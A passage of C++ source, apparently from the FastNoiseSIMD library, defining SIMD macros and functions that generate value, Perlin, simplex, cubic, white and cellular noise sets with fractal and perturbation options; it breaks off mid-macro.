SIMDi_MASK_SUB(_yReset, y, ySizeV);} #ifdef FN_ALIGNED_SETS #define STORE_LAST_RESULT(_dest, _source) SIMDf_STORE(_dest, _source) #else #include <cstring> #define STORE_LAST_RESULT(_dest, _source) std::memcpy(_dest, &_source, (maxIndex - index) * 4) #endif #define INIT_PERTURB_VALUES() \ SIMDf perturbAmpV, perturbFreqV, perturbLacunarityV, perturbGainV, perturbNormaliseLengthV;\ switch (m_perturbType)\ {\ case None:\ break;\ case Gradient_Normalise:\ perturbNormaliseLengthV = SIMDf_SET(m_perturbNormaliseLength*m_frequency);\ case Gradient:\ perturbAmpV = SIMDf_SET(m_perturbAmp);\ perturbFreqV = SIMDf_SET(m_perturbFrequency);\ break;\ case GradientFractal_Normalise:\ perturbNormaliseLengthV = SIMDf_SET(m_perturbNormaliseLength*m_frequency);\ case GradientFractal:\ perturbAmpV = SIMDf_SET(m_perturbAmp*m_fractalBounding);\ perturbFreqV = SIMDf_SET(m_perturbFrequency);\ perturbLacunarityV = SIMDf_SET(m_perturbLacunarity);\ perturbGainV = SIMDf_SET(m_perturbGain);\ break;\ case Normalise:\ perturbNormaliseLengthV = SIMDf_SET(m_perturbNormaliseLength*m_frequency);\ break;\ } #define PERTURB_SWITCH()\ switch (m_perturbType)\ {\ case None:\ break;\ case Gradient:\ FUNC(GradientPerturbSingle)(SIMDi_SUB(seedV, SIMDi_NUM(1)), perturbAmpV, perturbFreqV, xF, yF, zF); \ break; \ case GradientFractal:\ {\ SIMDi seedF = SIMDi_SUB(seedV, SIMDi_NUM(1));\ SIMDf freqF = perturbFreqV;\ SIMDf ampF = perturbAmpV;\ \ FUNC(GradientPerturbSingle)(seedF, ampF, freqF, xF, yF, zF);\ \ int octaveIndex = 0;\ \ while (++octaveIndex < m_perturbOctaves)\ {\ freqF = SIMDf_MUL(freqF, perturbLacunarityV);\ seedF = SIMDi_SUB(seedF, SIMDi_NUM(1));\ ampF = SIMDf_MUL(ampF, perturbGainV);\ \ FUNC(GradientPerturbSingle)(seedF, ampF, freqF, xF, yF, zF);\ }}\ break;\ case Gradient_Normalise:\ FUNC(GradientPerturbSingle)(SIMDi_SUB(seedV, SIMDi_NUM(1)), perturbAmpV, perturbFreqV, xF, yF, zF); \ case Normalise:\ {\ SIMDf invMag = SIMDf_MUL(perturbNormaliseLengthV, SIMDf_INV_SQRT(SIMDf_MUL_ADD(xF, xF, SIMDf_MUL_ADD(yF, yF, SIMDf_MUL(zF, zF)))));\ xF = SIMDf_MUL(xF, invMag);\ yF = SIMDf_MUL(yF, invMag);\ zF = SIMDf_MUL(zF, invMag);\ }break;\ case GradientFractal_Normalise:\ {\ SIMDi seedF = SIMDi_SUB(seedV, SIMDi_NUM(1));\ SIMDf freqF = perturbFreqV;\ SIMDf ampF = perturbAmpV;\ \ FUNC(GradientPerturbSingle)(seedF, ampF, freqF, xF, yF, zF);\ \ int octaveIndex = 0;\ \ while (++octaveIndex < m_perturbOctaves)\ {\ freqF = SIMDf_MUL(freqF, perturbLacunarityV);\ seedF = SIMDi_SUB(seedF, SIMDi_NUM(1));\ ampF = SIMDf_MUL(ampF, perturbGainV);\ \ FUNC(GradientPerturbSingle)(seedF, ampF, freqF, xF, yF, zF);\ }\ SIMDf invMag = SIMDf_MUL(perturbNormaliseLengthV, SIMDf_INV_SQRT(SIMDf_MUL_ADD(xF, xF, SIMDf_MUL_ADD(yF, yF, SIMDf_MUL(zF, zF)))));\ xF = SIMDf_MUL(xF, invMag);\ yF = SIMDf_MUL(yF, invMag);\ zF = SIMDf_MUL(zF, invMag);\ }break;\ } #define SET_BUILDER(f)\ if ((zSize & (VECTOR_SIZE - 1)) == 0)\ {\ SIMDi yBase = SIMDi_SET(yStart);\ SIMDi zBase = SIMDi_ADD(SIMDi_NUM(incremental), SIMDi_SET(zStart));\ \ SIMDi x = SIMDi_SET(xStart);\ \ int index = 0;\ \ for (int ix = 0; ix < xSize; ix++)\ {\ SIMDf xf = SIMDf_MUL(SIMDf_CONVERT_TO_FLOAT(x), xFreqV);\ SIMDi y = yBase;\ \ for (int iy = 0; iy < ySize; iy++)\ {\ SIMDf yf = SIMDf_MUL(SIMDf_CONVERT_TO_FLOAT(y), yFreqV);\ SIMDi z = zBase;\ SIMDf xF = xf;\ SIMDf yF = yf;\ SIMDf zF = SIMDf_MUL(SIMDf_CONVERT_TO_FLOAT(z), zFreqV);\ \ PERTURB_SWITCH()\ SIMDf result;\ f;\ SIMDf_STORE(&noiseSet[index], result);\ \ int iz = VECTOR_SIZE;\ while (iz < zSize)\ {\ z = SIMDi_ADD(z, SIMDi_NUM(vectorSize));\ index += VECTOR_SIZE;\ iz += VECTOR_SIZE;\ xF = xf;\ yF = yf;\ zF = SIMDf_MUL(SIMDf_CONVERT_TO_FLOAT(z), zFreqV);\ \ PERTURB_SWITCH()\ SIMDf result;\ f;\ SIMDf_STORE(&noiseSet[index], result);\ }\ index += VECTOR_SIZE;\ y = SIMDi_ADD(y, SIMDi_NUM(1));\ }\ x = SIMDi_ADD(x, SIMDi_NUM(1));\ }\ }\ else\ {\ SIMDi ySizeV = SIMDi_SET(ySize); \ SIMDi zSizeV = SIMDi_SET(zSize); \ \ SIMDi yEndV = SIMDi_SET(yStart + ySize - 1); \ SIMDi zEndV = SIMDi_SET(zStart + zSize - 1); \ \ SIMDi x = SIMDi_SET(xStart); \ SIMDi y = SIMDi_SET(yStart); \ SIMDi z = SIMDi_ADD(SIMDi_SET(zStart), SIMDi_NUM(incremental)); \ AXIS_RESET(zSize, 1)\ \ int index = 0; \ int maxIndex = xSize * ySize * zSize; \ \ for (; index < maxIndex - VECTOR_SIZE; index += VECTOR_SIZE)\ {\ SIMDf xF = SIMDf_MUL(SIMDf_CONVERT_TO_FLOAT(x), xFreqV);\ SIMDf yF = SIMDf_MUL(SIMDf_CONVERT_TO_FLOAT(y), yFreqV);\ SIMDf zF = SIMDf_MUL(SIMDf_CONVERT_TO_FLOAT(z), zFreqV);\ \ PERTURB_SWITCH()\ SIMDf result;\ f;\ SIMDf_STORE(&noiseSet[index], result);\ \ z = SIMDi_ADD(z, SIMDi_NUM(vectorSize));\ \ AXIS_RESET(zSize, 0)\ }\ \ SIMDf xF = SIMDf_MUL(SIMDf_CONVERT_TO_FLOAT(x), xFreqV);\ SIMDf yF = SIMDf_MUL(SIMDf_CONVERT_TO_FLOAT(y), yFreqV);\ SIMDf zF = SIMDf_MUL(SIMDf_CONVERT_TO_FLOAT(z), zFreqV);\ \ PERTURB_SWITCH()\ SIMDf result;\ f;\ STORE_LAST_RESULT(&noiseSet[index], result);\ } // FBM SINGLE #define FBM_SINGLE(f)\ SIMDi seedF = seedV;\ \ result = FUNC(f##Single)(seedF, xF, yF, zF);\ \ SIMDf ampF = SIMDf_NUM(1);\ int octaveIndex = 0;\ \ while (++octaveIndex < m_octaves)\ {\ xF = SIMDf_MUL(xF, lacunarityV);\ yF = SIMDf_MUL(yF, lacunarityV);\ zF = SIMDf_MUL(zF, lacunarityV);\ seedF = SIMDi_ADD(seedF, SIMDi_NUM(1));\ \ ampF = SIMDf_MUL(ampF, gainV);\ result = SIMDf_MUL_ADD(FUNC(f##Single)(seedF, xF, yF, zF), ampF, result);\ }\ result = SIMDf_MUL(result, fractalBoundingV) // BILLOW SINGLE #define BILLOW_SINGLE(f)\ SIMDi seedF = seedV;\ \ result = SIMDf_MUL_SUB(SIMDf_ABS(FUNC(f##Single)(seedF, xF, yF, zF)), SIMDf_NUM(2), SIMDf_NUM(1));\ \ SIMDf ampF = SIMDf_NUM(1);\ int octaveIndex = 0;\ \ while (++octaveIndex < m_octaves)\ {\ xF = SIMDf_MUL(xF, lacunarityV);\ yF = SIMDf_MUL(yF, lacunarityV);\ zF = SIMDf_MUL(zF, lacunarityV);\ seedF = SIMDi_ADD(seedF, SIMDi_NUM(1));\ \ ampF = SIMDf_MUL(ampF, gainV);\ result = SIMDf_MUL_ADD(SIMDf_MUL_SUB(SIMDf_ABS(FUNC(f##Single)(seedF, xF, yF, zF)), SIMDf_NUM(2), SIMDf_NUM(1)), ampF, result);\ }\ result = SIMDf_MUL(result, fractalBoundingV) // RIGIDMULTI SINGLE #define RIGIDMULTI_SINGLE(f)\ SIMDi seedF = seedV;\ \ result = SIMDf_SUB(SIMDf_NUM(1), SIMDf_ABS(FUNC(f##Single)(seedF, xF, yF, zF)));\ \ SIMDf ampF = SIMDf_NUM(1);\ int octaveIndex = 0;\ \ while (++octaveIndex < m_octaves)\ {\ xF = SIMDf_MUL(xF, lacunarityV);\ yF = SIMDf_MUL(yF, lacunarityV);\ zF = SIMDf_MUL(zF, lacunarityV);\ seedF = SIMDi_ADD(seedF, SIMDi_NUM(1));\ \ ampF = SIMDf_MUL(ampF, gainV);\ result = SIMDf_NMUL_ADD(SIMDf_SUB(SIMDf_NUM(1), SIMDf_ABS(FUNC(f##Single)(seedF, xF, yF, zF))), ampF, result);\ } #define FILL_SET(func) \ void SIMD_LEVEL_CLASS::Fill##func##Set(float* noiseSet, int xStart, int yStart, int zStart, int xSize, int ySize, int zSize, float scaleModifier)\ {\ assert(noiseSet);\ SIMD_ZERO_ALL();\ SIMDi seedV = SIMDi_SET(m_seed); \ INIT_PERTURB_VALUES();\ \ scaleModifier *= m_frequency;\ \ SIMDf xFreqV = SIMDf_SET(scaleModifier * m_xScale);\ SIMDf yFreqV = SIMDf_SET(scaleModifier * m_yScale);\ SIMDf zFreqV = SIMDf_SET(scaleModifier * m_zScale);\ \ SET_BUILDER(result = FUNC(func##Single)(seedV, xF, yF, zF))\ \ SIMD_ZERO_ALL();\ } #define FILL_FRACTAL_SET(func) \ void SIMD_LEVEL_CLASS::Fill##func##FractalSet(float* noiseSet, int xStart, int yStart, int zStart, int xSize, int ySize, int zSize, float scaleModifier)\ {\ assert(noiseSet);\ SIMD_ZERO_ALL();\ \ SIMDi seedV = SIMDi_SET(m_seed);\ SIMDf lacunarityV = SIMDf_SET(m_lacunarity);\ SIMDf gainV = SIMDf_SET(m_gain);\ SIMDf fractalBoundingV = SIMDf_SET(m_fractalBounding);\ INIT_PERTURB_VALUES();\ \ scaleModifier *= m_frequency;\ \ SIMDf xFreqV = SIMDf_SET(scaleModifier * m_xScale);\ SIMDf yFreqV = SIMDf_SET(scaleModifier * m_yScale);\ SIMDf zFreqV = SIMDf_SET(scaleModifier * m_zScale);\ \ switch(m_fractalType)\ {\ case FBM:\ SET_BUILDER(FBM_SINGLE(func))\ break;\ case Billow:\ SET_BUILDER(BILLOW_SINGLE(func))\ break;\ case RigidMulti:\ SET_BUILDER(RIGIDMULTI_SINGLE(func))\ break;\ }\ SIMD_ZERO_ALL();\ } FILL_SET(Value) FILL_FRACTAL_SET(Value) FILL_SET(Perlin) FILL_FRACTAL_SET(Perlin) FILL_SET(Simplex) FILL_FRACTAL_SET(Simplex) //FILL_SET(WhiteNoise) FILL_SET(Cubic) FILL_FRACTAL_SET(Cubic) #ifdef FN_ALIGNED_SETS #define SIZE_MASK #define SAFE_LAST(f) #else #define SIZE_MASK & ~(VECTOR_SIZE - 1) #define SAFE_LAST(f)\ if (loopMax != vectorSet->size)\ {\ std::size_t remaining = (vectorSet->size - loopMax) * 4;\ \ SIMDf xF = SIMDf_LOAD(&vectorSet->xSet[loopMax]);\ SIMDf yF = SIMDf_LOAD(&vectorSet->ySet[loopMax]);\ SIMDf zF = SIMDf_LOAD(&vectorSet->zSet[loopMax]);\ \ xF = SIMDf_MUL_ADD(xF, xFreqV, xOffsetV);\ yF = SIMDf_MUL_ADD(yF, yFreqV, yOffsetV);\ zF = SIMDf_MUL_ADD(zF, zFreqV, zOffsetV);\ \ SIMDf result;\ f;\ std::memcpy(&noiseSet[index], &result, remaining);\ } #endif #define VECTOR_SET_BUILDER(f)\ while (index < loopMax)\ {\ SIMDf xF = SIMDf_MUL_ADD(SIMDf_LOAD(&vectorSet->xSet[index]), xFreqV, xOffsetV);\ SIMDf yF = SIMDf_MUL_ADD(SIMDf_LOAD(&vectorSet->ySet[index]), yFreqV, yOffsetV);\ SIMDf zF = SIMDf_MUL_ADD(SIMDf_LOAD(&vectorSet->zSet[index]), zFreqV, zOffsetV);\ \ PERTURB_SWITCH()\ SIMDf result;\ f;\ SIMDf_STORE(&noiseSet[index], result);\ index += VECTOR_SIZE;\ }\ SAFE_LAST(f) #define FILL_VECTOR_SET(func)\ void SIMD_LEVEL_CLASS::Fill##func##Set(float* noiseSet, FastNoiseVectorSet* vectorSet, float xOffset, float yOffset, float zOffset)\ {\ assert(noiseSet);\ assert(vectorSet);\ assert(vectorSet->size >= 0);\ SIMD_ZERO_ALL();\ \ SIMDi seedV = SIMDi_SET(m_seed);\ SIMDf xFreqV = SIMDf_SET(m_frequency * m_xScale);\ SIMDf yFreqV = SIMDf_SET(m_frequency * m_yScale);\ SIMDf zFreqV = SIMDf_SET(m_frequency * m_zScale);\ SIMDf xOffsetV = SIMDf_MUL(SIMDf_SET(xOffset), xFreqV);\ SIMDf yOffsetV = SIMDf_MUL(SIMDf_SET(yOffset), yFreqV);\ SIMDf zOffsetV = SIMDf_MUL(SIMDf_SET(zOffset), zFreqV);\ INIT_PERTURB_VALUES();\ \ int index = 0;\ int loopMax = vectorSet->size SIZE_MASK;\ \ VECTOR_SET_BUILDER(result = FUNC(func##Single)(seedV, xF, yF, zF))\ SIMD_ZERO_ALL();\ } #define FILL_FRACTAL_VECTOR_SET(func)\ void SIMD_LEVEL_CLASS::Fill##func##FractalSet(float* noiseSet, FastNoiseVectorSet* vectorSet, float xOffset, float yOffset, float zOffset)\ {\ assert(noiseSet);\ assert(vectorSet);\ assert(vectorSet->size >= 0);\ SIMD_ZERO_ALL();\ \ SIMDi seedV = SIMDi_SET(m_seed);\ SIMDf lacunarityV = SIMDf_SET(m_lacunarity);\ SIMDf gainV = SIMDf_SET(m_gain);\ SIMDf fractalBoundingV = SIMDf_SET(m_fractalBounding);\ SIMDf xFreqV = SIMDf_SET(m_frequency * m_xScale);\ SIMDf yFreqV = SIMDf_SET(m_frequency * m_yScale);\ SIMDf zFreqV = SIMDf_SET(m_frequency * m_zScale);\ SIMDf xOffsetV = SIMDf_MUL(SIMDf_SET(xOffset), xFreqV);\ SIMDf yOffsetV = SIMDf_MUL(SIMDf_SET(yOffset), yFreqV);\ SIMDf zOffsetV = SIMDf_MUL(SIMDf_SET(zOffset), zFreqV);\ INIT_PERTURB_VALUES();\ \ int index = 0;\ int loopMax = vectorSet->size SIZE_MASK;\ \ switch(m_fractalType)\ {\ case FBM:\ VECTOR_SET_BUILDER(FBM_SINGLE(func))\ break;\ case Billow:\ VECTOR_SET_BUILDER(BILLOW_SINGLE(func))\ break;\ case RigidMulti:\ VECTOR_SET_BUILDER(RIGIDMULTI_SINGLE(func))\ break;\ }\ SIMD_ZERO_ALL();\ } FILL_VECTOR_SET(Value) FILL_FRACTAL_VECTOR_SET(Value) FILL_VECTOR_SET(Perlin) FILL_FRACTAL_VECTOR_SET(Perlin) FILL_VECTOR_SET(Simplex) FILL_FRACTAL_VECTOR_SET(Simplex) FILL_VECTOR_SET(WhiteNoise) FILL_VECTOR_SET(Cubic) FILL_FRACTAL_VECTOR_SET(Cubic) void SIMD_LEVEL_CLASS::FillWhiteNoiseSet(float* noiseSet, int xStart, int yStart, int zStart, int xSize, int ySize, int zSize, float scaleModifier) { assert(noiseSet); SIMD_ZERO_ALL(); SIMDi seedV = SIMDi_SET(m_seed); if ((zSize & (VECTOR_SIZE - 1)) == 0) { SIMDi x = SIMDi_MUL(SIMDi_SET(xStart), SIMDi_NUM(xPrime)); SIMDi yBase = SIMDi_MUL(SIMDi_SET(yStart), SIMDi_NUM(yPrime)); SIMDi zBase = SIMDi_MUL(SIMDi_ADD(SIMDi_NUM(incremental), SIMDi_SET(zStart)), SIMDi_NUM(zPrime)); SIMDi zStep = SIMDi_MUL(SIMDi_NUM(vectorSize), SIMDi_NUM(zPrime)); int index = 0; for (int ix = 0; ix < xSize; ix++) { SIMDi y = yBase; for (int iy = 0; iy < ySize; iy++) { SIMDi z = zBase; SIMDf_STORE(&noiseSet[index], FUNC(ValCoord)(seedV, x, y, z)); int iz = VECTOR_SIZE; while (iz < zSize) { z = SIMDi_ADD(z, zStep); index += VECTOR_SIZE; iz += VECTOR_SIZE; SIMDf_STORE(&noiseSet[index], FUNC(ValCoord)(seedV, x, y, z)); } index += VECTOR_SIZE; y = SIMDi_ADD(y, SIMDi_NUM(yPrime)); } x = SIMDi_ADD(x, SIMDi_NUM(xPrime)); } } else { SIMDi ySizeV = SIMDi_SET(ySize); SIMDi zSizeV = SIMDi_SET(zSize); SIMDi yEndV = SIMDi_SET(yStart + ySize - 1); SIMDi zEndV = SIMDi_SET(zStart + zSize - 1); SIMDi x = SIMDi_SET(xStart); SIMDi y = SIMDi_SET(yStart); SIMDi z = SIMDi_ADD(SIMDi_SET(zStart), SIMDi_NUM(incremental)); AXIS_RESET(zSize, 1); int index = 0; int maxIndex = xSize * ySize * zSize; for (; index < maxIndex - VECTOR_SIZE; index += VECTOR_SIZE) { SIMDf_STORE(&noiseSet[index], FUNC(ValCoord)(seedV, SIMDi_MUL(x, SIMDi_NUM(xPrime)), SIMDi_MUL(y, SIMDi_NUM(yPrime)), SIMDi_MUL(z, SIMDi_NUM(zPrime)))); z = SIMDi_ADD(z, SIMDi_NUM(vectorSize)); AXIS_RESET(zSize, 0); } SIMDf result = FUNC(ValCoord)(seedV, SIMDi_MUL(x, SIMDi_NUM(xPrime)), SIMDi_MUL(y, SIMDi_NUM(yPrime)), SIMDi_MUL(z, SIMDi_NUM(zPrime))); STORE_LAST_RESULT(&noiseSet[index], result); } SIMD_ZERO_ALL(); } #define Euclidean_DISTANCE(_x, _y, _z) SIMDf_MUL_ADD(_x, _x, SIMDf_MUL_ADD(_y, _y, SIMDf_MUL(_z, _z))) #define Manhattan_DISTANCE(_x, _y, _z) SIMDf_ADD(SIMDf_ADD(SIMDf_ABS(_x), SIMDf_ABS(_y)), SIMDf_ABS(_z)) #define Natural_DISTANCE(_x, _y, _z) SIMDf_ADD(Euclidean_DISTANCE(_x,_y,_z), Manhattan_DISTANCE(_x,_y,_z)) #define Distance2_RETURN(_distance, _distance2) (_distance2) #define Distance2Add_RETURN(_distance, _distance2) SIMDf_ADD(_distance, _distance2) #define Distance2Sub_RETURN(_distance, _distance2) SIMDf_SUB(_distance2, _distance) #define Distance2Mul_RETURN(_distance, _distance2) SIMDf_MUL(_distance, _distance2) #define Distance2Div_RETURN(_distance, _distance2) SIMDf_DIV(_distance, _distance2) #define CELLULAR_VALUE_SINGLE(distanceFunc)\ static SIMDf VECTORCALL FUNC(CellularValue##distanceFunc##Single)(SIMDi seed, SIMDf x, SIMDf y, SIMDf z, SIMDf cellJitter)\ {\ SIMDf distance = SIMDf_NUM(999999);\ SIMDf cellValue = SIMDf_UNDEFINED();\ \ SIMDi xc = SIMDi_SUB(SIMDi_CONVERT_TO_INT(x), SIMDi_NUM(1));\ SIMDi ycBase = SIMDi_SUB(SIMDi_CONVERT_TO_INT(y), SIMDi_NUM(1));\ SIMDi zcBase = SIMDi_SUB(SIMDi_CONVERT_TO_INT(z), SIMDi_NUM(1));\ \ SIMDf xcf = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(xc), x);\ SIMDf ycfBase = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(ycBase), y);\ SIMDf zcfBase = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(zcBase), z);\ \ xc = SIMDi_MUL(xc, SIMDi_NUM(xPrime));\ ycBase = SIMDi_MUL(ycBase, SIMDi_NUM(yPrime));\ zcBase = SIMDi_MUL(zcBase, SIMDi_NUM(zPrime));\ \ for (int xi = 0; xi < 3; xi++)\ {\ SIMDf ycf = ycfBase;\ SIMDi yc = ycBase;\ for (int yi = 0; yi < 3; yi++)\ {\ SIMDf zcf = zcfBase;\ SIMDi zc = zcBase;\ for (int zi = 0; zi < 3; zi++)\ {\ SIMDi hash = FUNC(HashHB)(seed, xc, yc, zc);\ SIMDf xd = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(hash, SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5));\ SIMDf yd = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(SIMDi_SHIFT_R(hash,10), SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5));\ SIMDf zd = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(SIMDi_SHIFT_R(hash,20), SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5));\ \ SIMDf invMag = SIMDf_MUL(cellJitter, SIMDf_INV_SQRT(SIMDf_MUL_ADD(xd, xd, SIMDf_MUL_ADD(yd, yd, SIMDf_MUL(zd, zd)))));\ \ xd = SIMDf_MUL_ADD(xd, invMag, xcf);\ yd = SIMDf_MUL_ADD(yd, invMag, ycf);\ zd = SIMDf_MUL_ADD(zd, invMag, zcf);\ \ SIMDf newCellValue = SIMDf_MUL(SIMDf_NUM(hash2Float), SIMDf_CONVERT_TO_FLOAT(hash));\ SIMDf newDistance = distanceFunc##_DISTANCE(xd, yd, zd);\ \ MASK closer = SIMDf_LESS_THAN(newDistance, distance);\ \ distance = SIMDf_MIN(newDistance, distance);\ cellValue = SIMDf_BLENDV(cellValue, newCellValue, closer);\ \ zcf = SIMDf_ADD(zcf, SIMDf_NUM(1));\ zc = SIMDi_ADD(zc, SIMDi_NUM(zPrime));\ }\ ycf = SIMDf_ADD(ycf, SIMDf_NUM(1));\ yc = SIMDi_ADD(yc, SIMDi_NUM(yPrime));\ }\ xcf = SIMDf_ADD(xcf, SIMDf_NUM(1));\ xc = SIMDi_ADD(xc, SIMDi_NUM(xPrime));\ }\ \ return cellValue;\ } struct NoiseLookupSettings { FastNoiseSIMD::NoiseType type; SIMDf frequency; FastNoiseSIMD::FractalType fractalType; int fractalOctaves; SIMDf fractalLacunarity; SIMDf fractalGain; SIMDf fractalBounding; }; #define CELLULAR_LOOKUP_FRACTAL_VALUE(noiseType){\ SIMDf lacunarityV = noiseLookupSettings.fractalLacunarity;\ SIMDf gainV = noiseLookupSettings.fractalGain;\ SIMDf fractalBoundingV = noiseLookupSettings.fractalBounding;\ int m_octaves = noiseLookupSettings.fractalOctaves;\ switch(noiseLookupSettings.fractalType)\ {\ case FastNoiseSIMD::FBM:\ {FBM_SINGLE(noiseType);}\ break;\ case FastNoiseSIMD::Billow:\ {BILLOW_SINGLE(noiseType);}\ break;\ case FastNoiseSIMD::RigidMulti:\ {RIGIDMULTI_SINGLE(noiseType);}\ break;\ }}\ #define CELLULAR_LOOKUP_SINGLE(distanceFunc)\ static SIMDf VECTORCALL FUNC(CellularLookup##distanceFunc##Single)(SIMDi seedV, SIMDf x, SIMDf y, SIMDf z, SIMDf cellJitter, const NoiseLookupSettings& noiseLookupSettings)\ {\ SIMDf distance = SIMDf_NUM(999999);\ SIMDf xCell = SIMDf_UNDEFINED();\ SIMDf yCell = SIMDf_UNDEFINED();\ SIMDf zCell = SIMDf_UNDEFINED();\ \ SIMDi xc = SIMDi_SUB(SIMDi_CONVERT_TO_INT(x), SIMDi_NUM(1));\ SIMDi ycBase = SIMDi_SUB(SIMDi_CONVERT_TO_INT(y), SIMDi_NUM(1));\ SIMDi zcBase = SIMDi_SUB(SIMDi_CONVERT_TO_INT(z), SIMDi_NUM(1));\ \ SIMDf xcf = SIMDf_CONVERT_TO_FLOAT(xc);\ SIMDf ycfBase = SIMDf_CONVERT_TO_FLOAT(ycBase);\ SIMDf zcfBase = SIMDf_CONVERT_TO_FLOAT(zcBase);\ \ xc = SIMDi_MUL(xc, SIMDi_NUM(xPrime));\ ycBase = SIMDi_MUL(ycBase, SIMDi_NUM(yPrime));\ zcBase = SIMDi_MUL(zcBase, SIMDi_NUM(zPrime));\ \ for (int xi = 0; xi < 3; xi++)\ {\ SIMDf ycf = ycfBase;\ SIMDi yc = ycBase;\ SIMDf xLocal = SIMDf_SUB(xcf, x);\ for (int yi = 0; yi < 3; yi++)\ {\ SIMDf zcf = zcfBase;\ SIMDi zc = zcBase;\ SIMDf yLocal = SIMDf_SUB(ycf, y);\ for (int zi = 0; zi < 3; zi++)\ {\ SIMDf zLocal = SIMDf_SUB(zcf, z);\ \ SIMDi hash = FUNC(HashHB)(seedV, xc, yc, zc);\ SIMDf xd = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(hash, SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5));\ SIMDf yd = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(SIMDi_SHIFT_R(hash,10), SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5));\ SIMDf zd = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(SIMDi_SHIFT_R(hash,20), SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5));\ \ SIMDf invMag = SIMDf_MUL(cellJitter, SIMDf_INV_SQRT(SIMDf_MUL_ADD(xd, xd, SIMDf_MUL_ADD(yd, yd, SIMDf_MUL(zd, zd)))));\ \ SIMDf xCellNew = SIMDf_MUL(xd, invMag);\ SIMDf yCellNew = SIMDf_MUL(yd, invMag);\ SIMDf zCellNew = SIMDf_MUL(zd, invMag);\ \ xd = SIMDf_ADD(xCellNew, xLocal);\ yd = SIMDf_ADD(yCellNew, yLocal);\ zd = SIMDf_ADD(zCellNew, zLocal);\ \ xCellNew = SIMDf_ADD(xCellNew, xcf); \ yCellNew = SIMDf_ADD(yCellNew, ycf); \ zCellNew = SIMDf_ADD(zCellNew, zcf); \ \ SIMDf newDistance = distanceFunc##_DISTANCE(xd, yd, zd);\ \ MASK closer = SIMDf_LESS_THAN(newDistance, distance);\ \ distance = SIMDf_MIN(newDistance, distance);\ xCell = SIMDf_BLENDV(xCell, xCellNew, closer);\ yCell = SIMDf_BLENDV(yCell, yCellNew, closer);\ zCell = SIMDf_BLENDV(zCell, zCellNew, closer);\ \ zcf = SIMDf_ADD(zcf, SIMDf_NUM(1));\ zc = SIMDi_ADD(zc, SIMDi_NUM(zPrime));\ }\ ycf = SIMDf_ADD(ycf, SIMDf_NUM(1));\ yc = SIMDi_ADD(yc, SIMDi_NUM(yPrime));\ }\ xcf = SIMDf_ADD(xcf, SIMDf_NUM(1));\ xc = SIMDi_ADD(xc, SIMDi_NUM(xPrime));\ }\ \ SIMDf xF = SIMDf_MUL(xCell, noiseLookupSettings.frequency);\ SIMDf yF = SIMDf_MUL(yCell, noiseLookupSettings.frequency);\ SIMDf zF = SIMDf_MUL(zCell, noiseLookupSettings.frequency);\ SIMDf result;\ \ switch(noiseLookupSettings.type)\ {\ default:\ break;\ case FastNoiseSIMD::Value:\ result = FUNC(ValueSingle)(seedV, xF, yF, zF); \ break;\ case FastNoiseSIMD::ValueFractal:\ CELLULAR_LOOKUP_FRACTAL_VALUE(Value);\ break; \ case FastNoiseSIMD::Perlin:\ result = FUNC(PerlinSingle)(seedV, xF, yF, zF); \ break;\ case FastNoiseSIMD::PerlinFractal:\ CELLULAR_LOOKUP_FRACTAL_VALUE(Perlin);\ break; \ case FastNoiseSIMD::Simplex:\ result = FUNC(SimplexSingle)(seedV, xF, yF, zF); \ break;\ case FastNoiseSIMD::SimplexFractal:\ CELLULAR_LOOKUP_FRACTAL_VALUE(Simplex);\ break; \ case FastNoiseSIMD::Cubic:\ result = FUNC(CubicSingle)(seedV, xF, yF, zF); \ break;\ case FastNoiseSIMD::CubicFractal:\ CELLULAR_LOOKUP_FRACTAL_VALUE(Cubic);\ break; \ }\ \ return result;\ } #define CELLULAR_DISTANCE_SINGLE(distanceFunc)\ static SIMDf VECTORCALL FUNC(CellularDistance##distanceFunc##Single)(SIMDi seed, SIMDf x, SIMDf y, SIMDf z, SIMDf cellJitter)\ {\ SIMDf distance = SIMDf_NUM(999999);\ \ SIMDi xc = SIMDi_SUB(SIMDi_CONVERT_TO_INT(x), SIMDi_NUM(1));\ SIMDi ycBase = SIMDi_SUB(SIMDi_CONVERT_TO_INT(y), SIMDi_NUM(1));\ SIMDi zcBase = SIMDi_SUB(SIMDi_CONVERT_TO_INT(z), SIMDi_NUM(1));\ \ SIMDf xcf = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(xc), x);\ SIMDf ycfBase = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(ycBase), y);\ SIMDf zcfBase = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(zcBase), z);\ \ xc = SIMDi_MUL(xc, SIMDi_NUM(xPrime));\ ycBase = SIMDi_MUL(ycBase, SIMDi_NUM(yPrime));\ zcBase = SIMDi_MUL(zcBase, SIMDi_NUM(zPrime));\ \ for (int xi = 0; xi < 3; xi++)\ {\ SIMDf ycf = ycfBase;\ SIMDi yc = ycBase;\ for (int yi = 0; yi < 3; yi++)\ {\ SIMDf zcf = zcfBase;\ SIMDi zc = zcBase;\ for (int zi = 0; zi < 3; zi++)\ {\ SIMDi hash = FUNC(HashHB)(seed, xc, yc, zc);\ SIMDf xd = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(hash, SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5));\ SIMDf yd = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(SIMDi_SHIFT_R(hash,10), SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5));\ SIMDf zd = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(SIMDi_SHIFT_R(hash,20), SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5));\ \ SIMDf invMag = SIMDf_MUL(cellJitter, 